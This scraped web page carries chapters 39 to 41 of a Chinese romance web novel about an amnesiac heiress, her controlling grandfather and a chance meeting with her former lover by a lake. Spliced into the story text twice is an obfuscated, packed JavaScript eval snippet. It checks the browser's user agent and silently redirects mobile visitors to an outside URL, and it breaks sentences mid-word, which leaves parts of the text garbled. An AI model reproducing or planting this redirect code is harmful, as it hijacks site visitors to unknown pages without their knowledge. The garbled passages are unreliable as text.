心情舒适…… 确实挺舒适…… 傅珺瑶的思绪险些又拉不住。 她问男人:“我能开窗吗?” 林逸深:“当然。” 他主动替她开了窗,降至半截:“这样够吗?” “够,谢谢。” 晚风涌入,傅珺瑶终于扫去了脑子里的胡思乱想。 餐厅离傅珺瑶的公寓不算远,不过二十分钟就到了。 林逸深把车停稳,先叫住了傅珺瑶。 “珺珺,这个是我新的联系方式,我们可以先加着吗?” 男人的手伸过来,带着小幅度的颤抖。 傅珺瑶掀眸,他的脸再次进入视线。 她直接拿出手机,利落地加了他。 男人嘴边的笑意骤深,又迅速下车,跑到副驾驶座帮她开了门。 “珺珺,今晚很开心,下次有机会,我能再约你见面吗?” 傅珺瑶踩着高跟鞋下车,脚跟隐隐发痛,提着包的手慢慢捏紧,她依旧点头:“好啊。” …… 林逸深的车离开后,傅珺瑶才完全松了口气。 她熟练地解了门禁,电梯门合上的那一刻,她和镜面中的自己对视。 也许…这也不失为一种好办法。 一种能让她忘掉那段荒唐日子的办法。 傅珺瑶进家门的时候,顾清漪刚吃完点的外卖。 “哟,你跟林逸深约会约得怎么样啊?” 都是一个圈子里的,朋友数来数去都是那群人,顾清漪自然知道林逸深。 脚上的束缚终于消失,傅珺瑶套上拖鞋的同时把西装外套扔在沙发:“吃个饭而已。” 她不解释顾清漪也明白她的意思。 甚至觉得她这样才正常:“我就知道,失忆前不感兴趣的人不会因为失个忆就喜欢上。” 傅珺瑶迈向沙发的步子突然乱了调。 心底飘出回答:是吗?或许…也说不定。 脑海中险些又飘进不该想的人。 “不过林逸深确实能算得上一个不错的对象,长得帅,人也挺好,林氏也勉强能配上恒璟。” “我说了就只是单纯吃个饭。”傅珺瑶强调。 顾清漪擦干净嘴:“我就说说而已嘛。” 傅珺瑶在她身边坐下来,问她这一天时差调过来了没有。 “调过来了,一会许远舟过来接我,等过几天带你去试礼服。” “试礼服?”傅珺瑶不解。 顾清漪后知后觉,解释:“对,我忘了跟你说了,你失忆前我跟许远舟就订婚了,婚礼就在下周末,你答应了来给我当伴娘的。” “下周末?”傅珺瑶甚至觉得她是在开玩笑,她看起来完全不像下周就要结婚的样子。 顾清漪嗯了声,说婚礼的事基本都是许远舟安排,她不怎么需要操心,再加上都是板上钉钉的事情,自然也就没觉得有什么。 况且她和许远舟都‘老夫老妻’了。 傅珺瑶干笑两声。 伴娘啊。 说起来,她还没做江晴的伴娘。 江晴和江醇现在……应该很幸福了吧。 “珺珺?”傅珺瑶愣神出去,很快被顾清漪拉回来:“想什么呢?” 她猛然一激灵,摇头:“没什么,你安排好时间通知我就行。” 顾清漪终于满意。 两人坐在沙发边休息了会,顾清漪又去厨房把热好的中药端出来。 还有她买的几罐甜食。 “珺珺,你的药我给你热好了,我尝了一口,这也太苦了!”顾清漪盯着那杯深褐色药液直直拧眉摇头。 “我找了几家比较好吃的甜品店,买了点蜜饯、饼干还有糖果什么的,你看你爱吃哪个,就着压一压苦味。” 傅珺瑶瞳孔微缩,仔细看过眼前的甜食,甚至是好几家不同甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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傅珺瑶没点开图片,扫完最后一个字,不自觉打了声哈欠。 她好像又不需要安眠药了。 看来确实是巧合,林逸深虽然不是林医生,但效果差不多。 傅珺瑶回复:【是挺美的。】 那头又发来张红酒的图片,是在给她安利:【口感非常棒的帕图斯,有机会邀请你一起品尝。】 困意更浓。 傅珺瑶接着回复:【看上去挺不错。】 然后顺势躺下,眼皮更沉,在那头回复前,她又发了条消息过去:【我有些困了,下次聊。】 那头也没再继续:【晚安。】 还配了一个很可爱的表情包。 傅珺瑶没有再回复,扔了手机开始睡。 这一次她的身体和灵魂总算消停,很快睡着。 然而她没想到的是,第二天一早,闹钟响起前两个小时,她便醒了过来,再也睡不着。 可千斤重的眼皮依旧在提醒她:她没睡好。 她进浴室冲了个澡,又下楼点了杯咖啡,等坐在梳妆镜前,才看到眼下那两块乌青。 还是得找林医生看看,再这么下去,她非得神经衰弱不可。 不过今天,她得先去见苏津南。 …… 安静私密的茶馆内,傅珺瑶总算见到苏津南。 和她做功课时了解到的大差不差,这位苏总面相随和,性子也比较软,完全不存在压迫感。 她也曾经和这位苏总有过几次交谈,算得上熟悉。 不过她现在完全没印象,只得装出一副熟络的模样上前,主动伸手:“苏总,很久不见了。” 苏津南简单回握,笑着道:“傅总近来还好吧?听说你前阵子出了事,才回来不久。” “还好,没什么大事,多谢苏总关心。” 又很快对人做出“请”的手势,“您快请坐。” 两人落座后,傅珺瑶没着急切入主题。 等杯中斟满的茶水冒出的白雾散了些,她才拿出准备好的两份文件。 她的动作刚停下,对面的苏津南已经开口:“不知道傅总今天约我过来见面,是不是合同出了什么问题?” 他的视线最终停留在她身上。 傅珺瑶眸色不动,坦然摇头:“不,当然不是。合同没有问题,是我们恒璟的问题。” “哦?”苏津南明显不解。 傅珺瑶没打算绕弯,两只手扣在桌前,语气郑重:“苏总,今天约您出来,我想跟您谈的是……这份合同的解约问题。” 39. 11 茶水氲出的最后一丝白雾拂过苏津南的脸,扫平了原本停留在那里的笑意。 苏津南微顿,明显意外道:“解约?” 傅珺瑶弯了弯唇,先帮他添了新的茶水,热雾又迫不及待地上飘。 傅珺瑶的语气不卑不亢:“是,苏总,悦霁天地的项目当初我哥哥签署时,我们集团内部的技术评估流程还没有完全闭环。近期我在重新组织过评审过后,发现悦霁天地项目中安防系统的全权委托和恒璟最新的发展战略有些出入。” “所以为了我们双方的利益,也为了确保苏氏与恒璟的口碑,我们希望能对合作模式进行重大调整。为了表示诚意,苏氏所有的前期设计投入由恒璟承担,并且我们愿意支付合同金额的百分之二十作为战略调整的补偿,希望能和苏氏达成友好协商,中止原合同,以便我们内部重新梳理架构,您看如何?” 苏津南抿了口热茶,视线落在傅珺瑶递过去的合同中止协议上,暂时没有说话。 傅珺瑶继续追击,拿出另一份合同,并排摆放在中止协议边。 浅笑道:“当然,恒璟一直非常希望与苏氏合作,为了珍惜这个宝贵的机会,我也想请您允许,和恒璟谈谈新的合作。” 苏津南慢慢挪移视线,又抬眸对上傅珺瑶的目光几秒。 傅珺瑶维持笑意,接着道:“早就听闻苏氏开发了非常多样且先进的智能家具,恰好恒璟旗下的铭逸楼盘开售,如果能获得苏氏加盟的机会,我想也是锦上添花的双赢合作,不知道苏总愿不愿意给恒璟这一次机会呢?” 杯中的茶水几次滚热,又几次回凉。 傅珺瑶虽不催促,可心底渐渐失了底气。 收回桌下的指尖微微发凉,她缓缓捏紧指腹,维持镇定。 实在不行,她也只能赔付所有的违约金了。 悦霁天地是她的项目,她必须要杜绝任何隐患。 傅珺瑶正欲开口,对面的人却突然起了身。 苏津南重新弯眉,印刻着皱纹的眼角和眉心不仅没有多了厉色,反而一片随和。 那张薄唇微微咧开,沁出几分柔和的笑:“傅总,你的意思我明白了,我先去下洗手间,等回来,我们再谈。” 傅珺瑶随之起身,暗暗松了口气,她还有迂回的余地,于是爽快道:“您请。” 空闲期间,她正在考虑,如果苏津南还需要什么条件,她最多可以满足哪些。 利益虽然是首先考虑的,但也不能失了人情。 十分钟后,苏津南回到原位。 这一次,是他主动开口:“傅总,我非常理解你的意思,也明白,你是想让我们两家共赢。” 一翻肯定出声,傅珺瑶逐渐漾开的笑却稍稍僵住。 “我们两家的交情也在这里,抛开公事,你也算是我的侄女,侄女的要求,我这个做伯伯的理应答应。” 傅珺瑶唇角的弧度彻底消失。 下一秒,手机铃声打断了苏津南的话语。 不过他也不介意,甚至示意她先接电话。 看到手机屏幕上备注的那一刻,傅珺瑶终于后知后觉。 爷爷。 傅珺瑶起了身,去了茶馆的阳台接通电话。 “董事长。”开口的同时,她的心脏也紧了紧。 那头的人语气仿佛落进万年冰川,裹挟着刺骨寒风朝她砸来,哪怕眼前这炎炎烈日都难以与之抗衡。 “珺珺,你哥签的那份合同是我批准的,你现在想解约,是不是不妥?” 傅珺瑶回头望了眼茶馆内,苏津南正悠闲地品着茶水。 “苏总也是咱们家多年的至交,当初更是你大伯的好友,苏氏的品质更是淮北数一数二的,你现在想解约,不是胡闹吗?” 傅珺瑶沉了口气,反驳:“爷爷,去年苏氏的系统是出过严重纰漏的,十几家连锁餐饮店失窃,这事如果换到居民身上呢?” “尤其是单身楼盘,安全是最基本也是最重要的!” 话语到最后,傅珺瑶的声音慢慢冷了下来,莫名的,像是身体里沉睡的某种基因觉醒,赋予了她抵御的能力与强势。 那头静默了两秒。 然而很快又道:“那你说说,如果和苏氏解约,你又打算跟谁签约?” “……”傅珺瑶一时语塞。 她是打算先斩后奏,等先摘干净和苏氏的合同,再去向爷爷提议跟启行合作的事。 可现在…… “你不要告诉我,你想跟启行合作!”那声浑厚的嗓音吼出,带着震慑力十足的厉气,傅珺瑶不自觉颤出激灵。 傅珺瑶悬在身侧的手跟着掐紧,唇肉在齿间被她重重咬合,传出明显的疼痛,她才松了齿,对着电话那头道:“是,我的确是想和启行合作,爷爷,那是……” “胡闹!你简直就是胡闹!”不等她说完,听筒里的声音便急切地打断她,还带出几声沉闷的震响。 想来,应该是那张硬朗磅礴的大红酸枝大班台遭了殃。 “就算失了忆淮湛也跟你说过吧?你不知道你大伯当年是怎么死的吗?珺珺,你做单身公寓,爷爷同意你、也相信你能干出一番成就,可你现在呢?你居然胆大到打算跟仇人合作!” “……” “如果不是苏总告诉我,你今天是不是就打算解完约去跟启行签合同了?!” 那头的质问声几乎震耳欲聋,完全不给耳膜喘息的机会,便再度发起攻击:“珺珺,我绝对不允许!也不同意你和启行扯上任何关系!” 傅珺瑶的唇紧抿,手上的力度不自觉加重。 她还想做最后的抵抗:“可是爷爷,我不能让悦霁天地存在安全隐患,相比苏氏,启行至少没有出现过……” “相比苏氏,启行才是最不靠谱的!珺珺,要么你就和苏氏继续合作,要么,这个项目我就交给别人来做!” 老爷子把话说得非常绝对,没有任何转圜的余地。 傅珺瑶看着被挂断的电话,心头像是被裹了层密封起来的透明壳,阻断心脏足够跳动的空间,也隔绝胸腔里的温度,变得憋屈不堪。 紧锁的眉头并没有因为电话的结束而平缓,她细细凝着通话记录,仿佛端详着复杂的摩斯密码,这个密码锁住的是唯一有希望的路径。 然而很可惜,她无法解开密码。 傅珺瑶不知道自己站了多久,只感觉到被高跟鞋撑起的脚跟隐隐发痛。 她终于收起手机,回到茶馆。 “抱歉苏总,是一通很重要的电话。”她稍稍颔首,低声道。 苏津南毫不在意地摆了摆手,脸上的笑意甚至能跟窗外的万里晴空媲美。 他温声道:“不要紧,坐下我们接着谈吧。” 傅珺瑶坐下,重新看向他时,只觉得脸上一阵火辣辣的疼。 好在……这副模样还能撑着她维持原样,让她不算太狼狈,也不至于失了表情管理。 苏津南也给足了她面子,并没有说破,只是搬出了傅老爷子说事:“傅总,作为伯伯,我是真的很想答应你的提议,不过傅董事长也是我的伯伯,这份合同,是经手过傅老爷子的,我作为后辈,实在是不能拂了他的面子。” 傅珺瑶试着扯了扯唇,想要说些体面话。 可内心却无论如何都没办法支撑起她,她也由此陷入了沉默。 苏津南又把那两份合同推回她跟前,耸了耸肩道:“傅总,这两份合同我就暂时不看了,悦霁天地的项目,我相信你,就算不改变现状,也能让我们共赢,希望我们……合作愉快。” 苏津南走了。 傅珺瑶还坐在那里,垂眸盯着面前已经冷掉的茶水。 半倦的身体愈发疲惫,思绪仿佛不受控般,四处飘散。 她还是不喜欢这种感觉。 她不记得失忆前自己所有的想法。 可现在内心却有清晰的疑问:如果是这样被爷爷限制的牺牲,真的是正确的吗? 当年的事他们两家都有错,私底下不往来实属正常,可出于集团的发展考虑,断了来往实在是不明智。 况且如今董事会那群人本就惦记着董事长的位置,她这个总经理也自然有人想取代。 万一未来悦霁天地真出了事,最终危害的不也还是他们傅家? 她自然愿意为了傅家、为了爷爷牺牲自己,可以听他们的话,可以按照他们所想的方式来打扮自己,可她走的路至少该是条相对正确的路。 急促的脚步声收回了她的思绪,聂秘书瞥了眼桌上原封不动的文件,悻悻开口:“傅、傅总……” 傅珺瑶稍微空洞的眼神聚焦,重新敛聚眸光,她扣好西装,起身:“回恒璟。” …… 意料之内的,她刚到恒璟,老爷子的内线电话已经进来。 傅珺瑶又进那间办公室听了和电话里大差不差的训斥。 竖在心脏外围的透明壳愈发厚重、坚硬,紧紧箍着那一小团肉。 傅珺瑶依旧背手而立,心口难受,也只能委屈掌心帮它分担痛楚。 这顿训斥由傅珺瑶再熟悉不过的一句话收尾:“珺珺,不要像你哥一样,让我失望!” 傅珺瑶沉默了很久,目光始终没有去看坐在大班台前的老人。 甚至恍惚,觉得这位强势严厉的老人无法和那个想象中痛哭流涕的老人相匹配。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083765|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻,她只想快些逃离这里。 于是顺从应:“我知道了,董事长。” 回了自己的办公室,傅珺瑶并没有很快进入状态,又让聂秘书给她泡了杯咖啡。 脑海中始终回响着那句话:“珺珺,不要像你哥一样,让我失望!” 当初她最先想起的,也是这样一句类似的话: “你是我选定的继承人,我不希望你像你哥一样,明白吗?” 把她和傅淮湛相比较,到底是担心她的能力,还是……她其实根本是作为傅淮湛的替补? 选定的继承人? 答案真是如此么? 左手捏起了夹在文件册里的钢笔。 傅珺瑶再次盯着这只手。 想起昨晚林逸深说的话:“我记得你初中那会都是惯用右手的。” 她掏出手机,翻出和顾清漪的聊天框。 输入:【我为什么后来会变成左撇子?】 清漪:【这事儿啊,你哥天生是左撇子,傅爷爷以前很宠爱你哥,说左撇子就是聪明,然后说,你也要像你哥一样,左右手都熟用。】 傅珺瑶的眼神暗了下去。 眼眸眯起,眸中漆黑一片。 清漪:【不过事实证明也不见得嘛,珺珺,我还是觉得你比较有实力,能担起你哥担不了的责任。】 傅珺瑶关了手机。 左手稍微举起,她斜睨过去。 恰好这时,聂秘书的咖啡送进来了。 见她脸色严肃,聂秘书的动作都小心翼翼的,还多了几句嘴,安慰:“傅总,您还是听董事长的吧,毕竟启行实在是……而且董事长的品性您也了解,他对您一向要求严格,甚至说一不二。” 傅珺瑶没说话,慢慢放下手。 好像他们所有人,知道她真实的一面也好,不知道她真实的一面也罢,都在有意无意地向她传递一个思想: 她应该绝对服从董事长。 她想改变,但只要董事长不同意,她碰壁便是必然的,她没有商量的余地,只能退让以寻求‘和谐’。 这是她想要的吗? 这种牺牲,真的是失忆前的傅珺瑶想要的吗? 傅珺瑶没接茬,让聂秘书出去了。 中午她也没什么胃口,没让聂秘书准备午餐。 坚持到下班,傅珺瑶接到内线电话,聂秘书说董事长已经走了。 她终于从已经坐麻木的凳子上起身,去了休息室换衣服。 她需要出去走走。 从衣柜里挑了身最简洁的灰色T恤和短裤,又卸了妆,拿起桌上的黑框眼镜戴上。 特地在地图上找了个好位置:环湖公园。 从一排车钥匙里随便选了辆奔驰,直接去了地下车库。 傅珺瑶一路都跟着导航走,却发觉这条路似乎很熟悉,就像是以前走过千百回。 或许……她以前也常去环湖公园? 毕竟公园绿植多,方便吸氧,她应该会喜欢。 几十分钟的车程,夕阳都快没了影。 傅珺瑶找地方停好车,下车时路过旁边跟她的车很像的一辆黑色奔驰,无意瞥了眼车牌号。 步伐突然乱了节奏,不过只短暂的停顿,又继续往前走。 淮A·FA1119。 一串数字而已,她根本没必要联想。 眼前的大片绿植很快吸引了她的注意力,微微发热的晚风吹在身体的各个角落,她深深吸了口气,双臂大肆往外伸展。 如果再有一点淡淡的海咸味,或许就更完美了。 她想。 沿着铺陈的灰砖路往前走,裹挟着心脏的透明壳终于没了踪迹。 她畅快地大口吸着新鲜空气,快要麻木的脑细胞终于恢复了鲜活的状态。 这才是她。 这才是她喜欢的样子。 许久没有宠幸她的多巴胺也在大脑再度分泌,双腿的速度慢下来,她低下头,目光跟随着脚步一点一点往前。 愉悦感愈发强烈。 唇角不自觉往两边弯起,弧度由浅及深,快要失了控。 路过的行人大多都主动侧过,避免相撞。 傅珺瑶也更小心,顺着边沿往前走,不给人添堵。 只是没等她走两步,前方蓦地停下两只脚,一双板正的哑面皮鞋随之映入眼帘。 傅珺瑶脚步一顿,彻底乱了节奏。 多巴胺的分泌也被搅乱,傅珺瑶撇了撇嘴,她下意识抬头,准备主动让道。 却在看清眼前那人时,脖颈瞬间僵直,瞳孔狠狠一缩,原本要泄出唇边的话,再也说不出来。 40. 12 傅珺瑶几乎是下意识咬紧唇,原本轻松摆臂的胳膊也瞬间夹紧,十指像是同时收到指令般猛地聚拢,牢牢抓在了短裤的裤脚。 周围的一切倏然失去了色彩和声音,肆意进入鼻腔的新鲜空气突然结了冰,凝滞在鼻前。耳边骤然一阵轰鸣炸响,拖着漫长的余音,仿佛永远都到不了尽头。 她瞪着眸,眼前的人影几乎占据了她整个眼球,熟悉的黑色耳钉被夕阳的最后一丝余光照亮,刺得眼珠微微发疼。 心脏先是骤停一瞬,随后又跟接了发动机一般,以飞快的速度起搏,撞击在胸壁的巨响混入耳边的轰鸣,最终完全取代,成了主导。 “怦怦怦——” 凶猛的速度和力道凌驾于身体之上,双腿微微发麻,大脑一时摒弃了思考能力,也无法再驾驭身体。 傅珺瑶能始终维持这个姿势,全凭这具躯体的自我保护功能。 她一瞬不瞬地盯着正前方,视线有些虚焦,她只能在一片虚幻中看到那双深褐色的瞳眸。 胸口的撞击完全失了控,连保护胸腔的肋骨都跟着遭殃,好似只要那力道再重些,一排肋骨都得折断。 无数根血管也同时发力,任由着血液迅速冲击。鼓动的余波从胸口跳至嗓子眼,又冲至太阳穴。 “怦怦怦——” 一股更汹涌的力量正伴随着疾速的心跳往上冲,急需从喉嗓间发泄,傅珺瑶快要抵挡不住那力量,也难以猜想自己会发出什么声音。 她持续绷紧,圆瞪的眼角被刺激出了些生理性泪水,眼前的人影更加模糊。 “你最近……”在她出现反应的前一刻,男人突然开了口:“过得还好吗?” 微微发颤的声音温和如旧,傅珺瑶轻轻一抖,仿佛瞬间被拉回那个小村庄,周遭的景物骤变,耳边的轰鸣和强烈的鼓动被柔缓的海浪声取代,鼻息间凝滞的气体也恢复流动,她甚至还能闻到淡淡的海咸味。 身体里那股如山洪海啸般往上冲的力量被压了回去,心脏也陡然恢复平静,血液流速慢了下来,双腿逐渐找回知觉,大脑终于开始转动。 眼角却冲上一股涩意。 傅珺瑶本能地眨了眨眸,两手的肌肉完全绷紧,包裹在外的皮肤甚至有裂开的趋势。 眼底的湿润被她强压了下去,瞳仁缓慢地动了动,视线聚焦,她终于完全看清眼前的人。 他换掉了熟悉的黑色T恤和长裤,穿上那身板正的黑色西装,银色的领带夹横在领带中下段,西装扣子一丝不苟地扣好。干净的短发上梳,露出饱满的额头,只让那双褐眸更加显眼。 傅珺瑶艰难地咽了咽口水,她想回答的,可声带像是被人狠狠箍住,她完全没办法发声。 男人一瞬不瞬地望着她,眸中好像闪了些期待,却又始终没有上前一步的意思。 沈述白来这里,也是散心。 从洱南回来跟父母家人相认后,他没急着回启行,把自己关在房间里,一个人冷静了两天。 试着不去关注她的消息,试着不去想她,都没能成功。 沈行之不厌其烦地敲门,聊天框里的消息一次又一次出现,反复强调着他和她之间存在的恩怨。 他都看到了,可一点都没看进去。 清醒时,她离开的场景无限回放。闭上眼,全是他们一起生活的画面。睡梦中,她就在他怀中,他能抱着她、能吻她。 他知道自己是错的,可他就是没办法控制大脑,甚至想要解开横亘在他们之间的枷锁。 可惜这道枷锁太深,加上查不出信息的竹音哨、被遗忘的出事经过,还有她愤恨时说的那句“恶心”,没有一个能让他们有回转的余地。 幽暗的房间里,他越想越乱,干脆又解放自己,打算回启行用工作麻痹身体。 只是回启行后,他很快就看到那份叠在一堆文件里的方案:针对销路减少的应对策略。 还有助理跟他说的那句:“您之前有考虑过找恒璟合作。” 他虽然不记得自己失忆前究竟是怎样的想法,可就目前启行的状况看来,断绝和恒璟的往来,绝对是非常不明智的选择。 可沈行之说了,奶奶和爷爷、父亲都不会同意。奶奶是启行的董事长,爷爷、父亲和沈行之都是董事会成员,哪怕沈行之委曲求全愿意站在他这边,他们都没有胜算。 毕竟奶奶有一票否决权。 更别说沈行之不希望他去找她。 一颗心像是坐了过山车,匀速向上,又在最高处飞快跌下,好不容易生出的期待瞬间化成失落。 可失落之余,他也有一丝庆幸。 庆幸自己不用去找她,因为他不知道要如何面对她。 他怕她恨他,也怕她还介意他们在一起的的那段日子,更怕她再对他说出那句“恶心”。 然而短暂的庆幸后,还是失落占了上风。 不能去找她,也就意味着他们也许真的要这么彻底断联,意味着他只能从新闻里得知她的消息,意味着他还是没办法和她在一起。 心境复杂,矛盾反复。 压力在无形中慢慢滋生,他不想回家,于是在地图上找了自己的行踪足迹,看到环湖公园是他以前来过很多回的地方,开车到了这里。 沿着空旷蜿蜒的灰砖路漫步,他双神空洞地看着周围的一切,脑海中反复跳进在江渔村和她在一起时的画面。 好想再见见她。 不知道她最近过得怎样,有没有按时吃饭、喝药,有没有睡好,有没有……短暂地想起过他。 双腿逐渐失了知觉,只是机械地往前迈着。 清澈的湖水慢慢涌动,汇入眼底,微微发红的夕阳洒尽余晖,湖面漾开了金红的涟漪。 好想和她再回到那片海滩,想在那棵树前抱着她,想在能听到海浪声的房间里给她弹尤克里里,想喂她吃亲手做的蜜饯,想托着她的后颈吻她…… 想再听她说一声:“我永远都是你老婆。” 沈述白倏然扯了扯唇,喉结轻轻滚动,挤出声嗤哂。 她怎么可能再当他老婆? 她不会愿意的。 那些话,不过是当时,她误以为他们是夫妻时,说出来迎合他的罢了。 她或许对他有过好感,可那一切都建立在他们是夫妻的前提下。 没了那个前提,他在她那,就是只有家族恩怨的仇人。 他收回望向湖面的目光,想往回走。 却在回眸的那一瞬,思绪被扫截空荡。 脚步不可置信地停了下来,视线完全被那道身影吸引,再难移开。 她走近、再走近,鼻腔扑入熟悉的气味,他忍不住缩眸,心脏再次踏进过山车,随着那蜿蜒曲折的轨道疾速飞驰。 什么失落、痛苦、矛盾、绝望通通被他抛至脑后。 只有心想事成的满腔喜悦。 她停了下来,他的心跳更快。 她抬头,他想要扬起的嘴角又平了下去。 对于他的出现,她似乎只有意外,没有半分喜悦。 转念一想,也是,她有喜悦才不正常。 唇角轻扯。 他悄悄挺直背脊,鼓足了劲和她对视,想等着她先开口。 她好像有哪里不一样了,又好像还是那样。 她身上还有江云的影子,却又不完全是江云。 那双杏眸依旧清亮,如曜石般的瞳仁轻易勾人心弦。然而他也捕捉到了杏眸之下,隐隐发青的眼窝。 垂在身侧的手收紧。 她没有睡好吗? 脸色怎么这样不好? 是因为工作太累没休息好吗? 喉间冒出无数疑问,他都不知道等她开口后,他应该先问哪句。 口腔微微发干,他继续凝着那双黑眸,隐隐等 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可他的视线只移开两秒,却又再次对上来。 傅珺瑶还没来得及松懈的神经重新绷紧。 脚步下意识后退。 男人骤然动了腿,迈步往前,缩短了他们之间的距离。 “……” 傅珺瑶皱眉,他这是要做什么? 傅珺瑶再往后退。 他再往前。 他的面容在眼前逐渐放大、再放大。 深褐色的眼瞳、直如利尺的鼻梁、红润的薄唇,还有那颗独一无二的黑色耳钉,都在眼前无限放大,连带着他的气味也扑满鼻腔。 视线忍不住在他的眼眸和唇上来回转。 傅珺瑶紧张地咽了咽口水,凛神收回视线,两条腿蓦然停了下来。 男人也跟着停下。 傅珺瑶背过手,丝毫不顾胸腔里不安跳动的心脏,挺直背脊,铆足了劲睨过去,轻笑了声:“多谢沈总关心,不过沈总别忘了,我和你不是彼此能够关心的对象。” 她停顿两秒,语气突然带刺:“我们是仇人。” 男人的唇动了动,傅珺瑶又没忍住看过去。 鼻腔内他的味道更浓。 还是那熟悉的味道。 视线往下,瞥到他被西装包裹起来的胳膊。 她又忍不住做吞咽动作。 如果是枕着他的胳膊,她能不能睡好觉? 他的声音终于响起:“我们的确是仇人。” 傅珺瑶悄然捏紧背后的手,心口微颤,及时收住莫名其妙的思绪,抬眸看过去。 瞳孔却再次紧缩—— 那双眸子突然软了下来,那片被她亲手毁掉的琥珀海又恢复原样,澄亮的海面裹着独此一份的温度,温柔地洒在她的脸上。 他启唇,声音重新带了温度:“可我们也是夫妻。” 傅珺瑶的脸色陡然僵硬。 “沈述白,你……” “我们曾拥抱,也接过吻,熟悉过彼此的身体,甚至每晚相拥而眠,这些事,不就是夫妻之间能做的吗?” 像是知道她要说些难听的话,所以在她刚叫出名字时便压低了声,用仅有他们能听到的声音打断她。 傅珺瑶的脸“蹭”地一下涨红,心虚地瞥了眼周遭,眉头紧蹙。 他继续凝着她,身体越靠越近,补充:“只不过是傅总不愿意承认的夫妻。” “……” 傅珺瑶不明白他的意思,牙关慢慢合紧,舌尖被咬出细细的疼。 “毕竟在傅总眼里,我是非不分,恶心至极。” 41. 13 傅珺瑶的牙关再次发力,舌尖顶出剧烈的疼,蔓延至双颊,牵动得后脑勺微微发麻。 傅珺瑶被他的话噎住,原本准备好的推辞消失在喉间,她也忘了该怎么脱身。 男人的眉头往下撇,眸珠左右转动,也不说话。 他的气息却愈发浓烈。 快要占据她的整具躯体。 傅珺瑶的大脑隐隐发晕。 “珺珺,你可以跟任何人在一起,但绝对不能是他!” 那句话依然清晰在耳。 傅珺瑶背后的手掌使劲,狠狠钳制手腕。眸子闪了闪,扫去了混入身体里的他的味道。 她垂眸,又重新抬起,看向他的眼神里多了几分厉色。 唇角收敛,声音冷淡:“沈总知道就好。” 男人身形一僵,突然往后退了两步。 这一次,深褐色的瞳眸被下垂的眼皮覆盖,她没能看清里头的状况。 他似乎也没想让她看到。 他直接侧身,主动绕过她,走了两步又停下来,声音随着微热的晚风飘进耳侧:“晚上好好休息,为了工作不顾身体,实在不值得。” 傅珺瑶鼻头一酸。 不久前的画面仍然历历在目—— 他每天给她做的好吃的饭菜,他专门给她压苦味做的蜜饯,他在入睡前给她弹的小曲。 耳边的脚步声逐渐被风勾起树叶发出的“簌簌”声取代,她才猛地转身,但早已没有他的身影。 心脏仿佛瞬间被掏空,又失了规律地不停抽搐,在那周围的安全墙早已消失,没了约束,跳动的频率和幅度也乱无章法。 甚至扯得耳根隐隐发痛。 傅珺瑶在原地顿了片刻,两条腿不受控地沿着他离开的路往前。 眼前的绿植逐渐稀疏,傅珺瑶心口抽动的频率愈发频繁。 直到那辆孤零零停在车位的奔驰映入眼帘,她才停了脚步。 胸腔不停起伏着,鼻腔里的酸意更重,熟悉的车在眼底叠出重影。 浑身的肌肉绷紧,涌出阵阵酸软。 她回到车上,在相对封闭的车厢内找回了一丝安全感。 车钥匙没有急着插进钥匙孔,被她扔在副驾驶座上,纤长的手稳稳握住方向盘,她闭着眼,再度压下眼底奔涌的湿润,深吸了口气,慢慢吐出来,彻底把他的气息排出体外。 她看了眼后视镜里的自己,眼眶周围沾了少许水雾。 稍稍不自然地低头,盯着方向盘,又撇头去看那个已经空荡荡的车位。 来回反复。 脑中思维跳跃,傅珺瑶说不清自己的情绪,只是抄起钥匙,开了冷气,又在电子触屏上翻出歌单,找了那首尤克里里版的天空之城。 强留在身体里的痛感终于被冷气吹散。 再凝视镜中的自己时,所有的情绪消失。 却不似她独处时的轻松。 傅珺瑶抿唇,系好安全带,回了公寓。 她今晚放纵了一把,点了很多高热量食物,只要是外卖界面符合眼缘的,她也不看价格,迅速下单。 等到四四方方的茶几上摆满了冒热气的食物,她也不看是什么,套上手套,抓起食物就往嘴里塞。 芝士焗蟹、芝士披萨、车打奶酪酱味的炸鸡、盐焗鸡、双吉汉堡……还有一杯五分糖的牛乳奶茶。 仿佛完成任务一般,她一股脑地往嘴里塞,不断刺激味蕾。 可进食的速度越来越慢,腮帮子鼓鼓囊囊的,完全不给牙齿留有咀嚼的空隙。 颊侧的肉都被撑得发疼。 她终于摘了手套,就那么盯着茶几上的食物,唇齿机械地咬合。 不知道过了多久,嘴里的食物终于全部进肚。 饱腹感从胃里传递至中枢,食道里还残留着甜腻的味道。 傅珺瑶坐在地毯上一动不动,双目有些空洞,又时不时做着吞咽动作,左手轻轻捂在腹部。 残余的芝士已经没了香气,也不再有流体的模样,完全凝固。 她把残局收拾干净,又上楼洗澡。 两个小时后,她坐在床边的桌子旁,十分洒脱地喝了中药,吃了顾清漪给她买的蜜饯,重重地沉了口气。 就算不是他做的饭,她也能有饱腹感。就算没有他做的蜜饯,她也能好好喝完药。 她根本不需要他的。 不过是见了一面而已,他们本来就在一个城市,甚至又在一个圈子里,见面是再正常不过的事。 她应该完全撇开那段记忆。 那一切,都发生在他们是夫妻的前提下,可那个前提都已经没了,她也不应该被限制的。 好不容易被压下去的药苦又往上返,傅珺瑶及时阻断了自己的思绪,利索地上了床,把头蒙进黑乎乎的被子里。 半分钟后,傅珺瑶便忍不住出来透口气。 疲倦的双眸熟悉地望着天花板。 她在心底暗暗道:她肯定能睡好。 像是对峙般,狠狠瞪了眼无辜的天花板,又自信满满地闭上眼。 可惜,比困意先抵达的是占据了她大部分失忆时光的江云和江阔。 “云云,我今天又做了百香果酸汤牛肉。” “云云,你看那有棵树。” “云云,我们一起去看白白吧!” “等到时候我们买个独栋别墅,在院子里种两棵树,左边的叫江云,右边的叫江阔。” “你还欠我71个蜜饯和71次。” …… …… 